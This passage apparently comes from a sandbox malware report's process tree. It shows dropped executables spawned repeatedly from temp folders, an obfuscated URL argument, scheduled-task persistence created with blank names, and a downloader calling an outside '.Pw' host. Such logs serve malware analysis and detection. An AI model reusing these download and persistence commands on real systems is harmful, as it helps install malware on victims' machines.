"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5324

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5384

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3620

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3684

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2056

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4732

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5340

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5076

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3808

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:224

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4748

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:768

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2384

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5524

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3352

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5384

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2320

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1968

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4340

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5988

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5164

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5688

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2204

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3312

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:800

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1924

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1192

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:768

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2384

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:296

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3324

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2392

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3044

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5988

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1484

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4260

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:728

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:676

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4284

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5192

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:316

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1392

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3568

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2564

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2288

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1028

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5236

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:804

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3412

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4988

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4420

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3324

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4400

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5820

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5868

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3684

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4184

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5068

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5632

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4040

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5804

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2292

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:840

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4876

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4756

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1056

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2380

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3316

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:800

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1108

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1512

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5808

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4400

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3996

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5868

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3232

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1880

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1876

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:6076

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:408

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4732

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1684

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5116

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4780

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:6044

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1320

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2608

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5704

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4544

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4576

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3784

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2220

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4772

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3084

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2712

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:840

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5720

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4048

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1572

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3348

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5104

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4848

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5444

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4720

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2788

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:740

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3292

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2368

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5112

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5176

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:840

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5820

C:\Program Files (x86)\Blocks\Recombining.exe
"C:\Program Files (x86)\Blocks\Recombining.exe" tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb
5⤵
PID:2428

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\GittingsN"
5⤵
PID:5948

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\GittingsN".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:1112

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\RecombiningN"
5⤵
PID:5768

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\RecombiningN".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:1156

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\GittingsA"
5⤵
PID:1320

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\GittingsA".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:1164

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\RecombiningA"
5⤵
PID:4264

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\RecombiningA".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:3088

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:3396

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\114933.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\114933.exe
5⤵
PID:5456

C:\Windows\SysWOW64\explorer.exe
C:\Windows\system32\explorer.exe
5⤵
PID:1808

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\jtohhqqziyacze.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\jtohhqqziyacze.exe" "http://www.winfreycmh.Pw/ee/49318310?88723549f88723549=1680859212076152400=rwyrubkay" "C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\4183"
4⤵
PID:3632

C:\Windows\SysWOW64\explorer.exe
C:\Windows\system32\explorer.exe
4⤵
PID:1108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 376 -p 4384 -ip 4384
1⤵
PID:5228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4384 -ip 4384
1⤵
PID:4728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4384 -ip 4384
1⤵
PID:1720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4384 -ip 4384
1⤵
PID:2056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4384 -ip 4384
1⤵
PID:112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4384 -ip 4384
1⤵
PID:5480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4384 -ip 4384
1⤵
PID:5468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4384 -ip 4384
1⤵
PID:5572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4384 -ip 4384
1⤵
PID:5736

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc\" -spe -an -ai#7zMap11910:320:7zEvent2687
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2496

C:\Windows\syswow64\MsiExec.exe
